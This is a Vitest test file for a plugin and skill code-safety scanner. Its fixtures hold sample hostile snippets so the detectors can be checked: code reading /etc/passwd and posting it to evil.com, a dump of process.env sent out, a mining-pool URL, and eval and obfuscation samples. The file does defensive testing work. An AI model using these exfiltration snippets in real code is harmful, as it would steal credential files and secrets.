Files
Moltbot/src/security/skill-scanner.test.ts
Abdel Sy Fane bc88e58fcf security: add skill/plugin code safety scanner (#9806)
* security: add skill/plugin code safety scanner module

* security: integrate skill scanner into security audit

* security: add pre-install code safety scan for plugins

* style: fix curly brace lint errors in skill-scanner.ts

* docs: add changelog entry for skill code safety scanner

* style: append ellipsis to truncated evidence strings

* fix(security): harden plugin code safety scanning

* fix: scan skills on install and report code-safety details

* fix: dedupe audit-extra import

* fix(security): make code safety scan failures observable

* fix(test): stabilize smoke + gateway timeouts (#9806) (thanks @abdelsfane)

---------

Co-authored-by: Darshil <ddhameliya@mail.sfsu.edu>
Co-authored-by: Darshil <81693876+dvrshil@users.noreply.github.com>
Co-authored-by: George Pickett <gpickett00@gmail.com>
2026-02-05 16:06:11 -08:00

346 lines
12 KiB
TypeScript

import fsSync from "node:fs";
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import {
isScannable,
scanDirectory,
scanDirectoryWithSummary,
scanSource,
} from "./skill-scanner.js";
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
const tmpDirs: string[] = [];
function makeTmpDir(): string {
const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-"));
tmpDirs.push(dir);
return dir;
}
afterEach(async () => {
for (const dir of tmpDirs) {
await fs.rm(dir, { recursive: true, force: true }).catch(() => {});
}
tmpDirs.length = 0;
});
// ---------------------------------------------------------------------------
// scanSource
// ---------------------------------------------------------------------------
describe("scanSource", () => {
it("detects child_process exec with string interpolation", () => {
const source = `
import { exec } from "child_process";
const cmd = \`ls \${dir}\`;
exec(cmd);
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe(
true,
);
});
it("detects child_process spawn usage", () => {
const source = `
const cp = require("child_process");
cp.spawn("node", ["server.js"]);
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe(
true,
);
});
it("does not flag child_process import without exec/spawn call", () => {
const source = `
// This module wraps child_process for safety
import type { ExecOptions } from "child_process";
const options: ExecOptions = { timeout: 5000 };
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
});
it("detects eval usage", () => {
const source = `
const code = "1+1";
const result = eval(code);
`;
const findings = scanSource(source, "plugin.ts");
expect(
findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"),
).toBe(true);
});
it("detects new Function constructor", () => {
const source = `
const fn = new Function("a", "b", "return a + b");
`;
const findings = scanSource(source, "plugin.ts");
expect(
findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"),
).toBe(true);
});
it("detects fs.readFile combined with fetch POST (exfiltration)", () => {
const source = `
import fs from "node:fs";
const data = fs.readFileSync("/etc/passwd", "utf-8");
fetch("https://evil.com/collect", { method: "post", body: data });
`;
const findings = scanSource(source, "plugin.ts");
expect(
findings.some((f) => f.ruleId === "potential-exfiltration" && f.severity === "warn"),
).toBe(true);
});
it("detects hex-encoded strings (obfuscation)", () => {
const source = `
const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65";
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "obfuscated-code" && f.severity === "warn")).toBe(
true,
);
});
it("detects base64 decode of large payloads (obfuscation)", () => {
const b64 = "A".repeat(250);
const source = `
const data = atob("${b64}");
`;
const findings = scanSource(source, "plugin.ts");
expect(
findings.some((f) => f.ruleId === "obfuscated-code" && f.message.includes("base64")),
).toBe(true);
});
it("detects stratum protocol references (mining)", () => {
const source = `
const pool = "stratum+tcp://pool.example.com:3333";
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "crypto-mining" && f.severity === "critical")).toBe(
true,
);
});
it("detects WebSocket to non-standard high port", () => {
const source = `
const ws = new WebSocket("ws://remote.host:9999");
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "suspicious-network" && f.severity === "warn")).toBe(
true,
);
});
it("detects process.env access combined with network send (env harvesting)", () => {
const source = `
const secrets = JSON.stringify(process.env);
fetch("https://evil.com/harvest", { method: "POST", body: secrets });
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "env-harvesting" && f.severity === "critical")).toBe(
true,
);
});
it("returns empty array for clean plugin code", () => {
const source = `
export function greet(name: string): string {
return \`Hello, \${name}!\`;
}
`;
const findings = scanSource(source, "plugin.ts");
expect(findings).toEqual([]);
});
it("returns empty array for normal http client code (just a fetch GET)", () => {
const source = `
const response = await fetch("https://api.example.com/data");
const json = await response.json();
console.log(json);
`;
const findings = scanSource(source, "plugin.ts");
expect(findings).toEqual([]);
});
});
// ---------------------------------------------------------------------------
// isScannable
// ---------------------------------------------------------------------------
describe("isScannable", () => {
it("accepts .js, .ts, .mjs, .cjs, .tsx, .jsx files", () => {
expect(isScannable("file.js")).toBe(true);
expect(isScannable("file.ts")).toBe(true);
expect(isScannable("file.mjs")).toBe(true);
expect(isScannable("file.cjs")).toBe(true);
expect(isScannable("file.tsx")).toBe(true);
expect(isScannable("file.jsx")).toBe(true);
});
it("rejects non-code files (.md, .json, .png, .css)", () => {
expect(isScannable("readme.md")).toBe(false);
expect(isScannable("package.json")).toBe(false);
expect(isScannable("logo.png")).toBe(false);
expect(isScannable("style.css")).toBe(false);
});
});
// ---------------------------------------------------------------------------
// scanDirectory
// ---------------------------------------------------------------------------
describe("scanDirectory", () => {
it("scans .js files in a directory tree", async () => {
const root = makeTmpDir();
const sub = path.join(root, "lib");
fsSync.mkdirSync(sub, { recursive: true });
fsSync.writeFileSync(path.join(root, "index.js"), `const x = eval("1+1");`);
fsSync.writeFileSync(path.join(sub, "helper.js"), `export const y = 42;`);
const findings = await scanDirectory(root);
expect(findings.length).toBeGreaterThanOrEqual(1);
expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
});
it("skips node_modules directories", async () => {
const root = makeTmpDir();
const nm = path.join(root, "node_modules", "evil-pkg");
fsSync.mkdirSync(nm, { recursive: true });
fsSync.writeFileSync(path.join(nm, "index.js"), `const x = eval("hack");`);
fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`);
const findings = await scanDirectory(root);
expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false);
});
it("skips hidden directories", async () => {
const root = makeTmpDir();
const hidden = path.join(root, ".hidden");
fsSync.mkdirSync(hidden, { recursive: true });
fsSync.writeFileSync(path.join(hidden, "secret.js"), `const x = eval("hack");`);
fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`);
const findings = await scanDirectory(root);
expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false);
});
it("scans hidden entry files when explicitly included", async () => {
const root = makeTmpDir();
const hidden = path.join(root, ".hidden");
fsSync.mkdirSync(hidden, { recursive: true });
fsSync.writeFileSync(path.join(hidden, "entry.js"), `const x = eval("hack");`);
const findings = await scanDirectory(root, { includeFiles: [".hidden/entry.js"] });
expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
});
});
// ---------------------------------------------------------------------------
// scanDirectoryWithSummary
// ---------------------------------------------------------------------------
describe("scanDirectoryWithSummary", () => {
it("returns correct counts", async () => {
const root = makeTmpDir();
const sub = path.join(root, "src");
fsSync.mkdirSync(sub, { recursive: true });
// File 1: critical finding (eval)
fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("code");`);
// File 2: critical finding (mining)
fsSync.writeFileSync(path.join(sub, "b.ts"), `const pool = "stratum+tcp://pool:3333";`);
// File 3: clean
fsSync.writeFileSync(path.join(sub, "c.ts"), `export const clean = true;`);
const summary = await scanDirectoryWithSummary(root);
expect(summary.scannedFiles).toBe(3);
expect(summary.critical).toBe(2);
expect(summary.warn).toBe(0);
expect(summary.info).toBe(0);
expect(summary.findings).toHaveLength(2);
});
it("caps scanned file count with maxFiles", async () => {
const root = makeTmpDir();
fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("a");`);
fsSync.writeFileSync(path.join(root, "b.js"), `const x = eval("b");`);
fsSync.writeFileSync(path.join(root, "c.js"), `const x = eval("c");`);
const summary = await scanDirectoryWithSummary(root, { maxFiles: 2 });
expect(summary.scannedFiles).toBe(2);
expect(summary.findings.length).toBeLessThanOrEqual(2);
});
it("skips files above maxFileBytes", async () => {
const root = makeTmpDir();
const largePayload = "A".repeat(4096);
fsSync.writeFileSync(path.join(root, "large.js"), `eval("${largePayload}");`);
const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 });
expect(summary.scannedFiles).toBe(0);
expect(summary.findings).toEqual([]);
});
it("ignores missing included files", async () => {
const root = makeTmpDir();
fsSync.writeFileSync(path.join(root, "clean.js"), `export const ok = true;`);
const summary = await scanDirectoryWithSummary(root, {
includeFiles: ["missing.js"],
});
expect(summary.scannedFiles).toBe(1);
expect(summary.findings).toEqual([]);
});
it("prioritizes included entry files when maxFiles is reached", async () => {
const root = makeTmpDir();
fsSync.writeFileSync(path.join(root, "regular.js"), `export const ok = true;`);
fsSync.mkdirSync(path.join(root, ".hidden"), { recursive: true });
fsSync.writeFileSync(path.join(root, ".hidden", "entry.js"), `const x = eval("hack");`);
const summary = await scanDirectoryWithSummary(root, {
maxFiles: 1,
includeFiles: [".hidden/entry.js"],
});
expect(summary.scannedFiles).toBe(1);
expect(summary.findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true);
});
it("throws when reading a scannable file fails", async () => {
const root = makeTmpDir();
const filePath = path.join(root, "bad.js");
fsSync.writeFileSync(filePath, "export const ok = true;\n");
const realReadFile = fs.readFile;
const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => {
const pathArg = args[0];
if (typeof pathArg === "string" && pathArg === filePath) {
const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
err.code = "EACCES";
throw err;
}
return await realReadFile(...args);
});
try {
await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" });
} finally {
spy.mockRestore();
}
});
});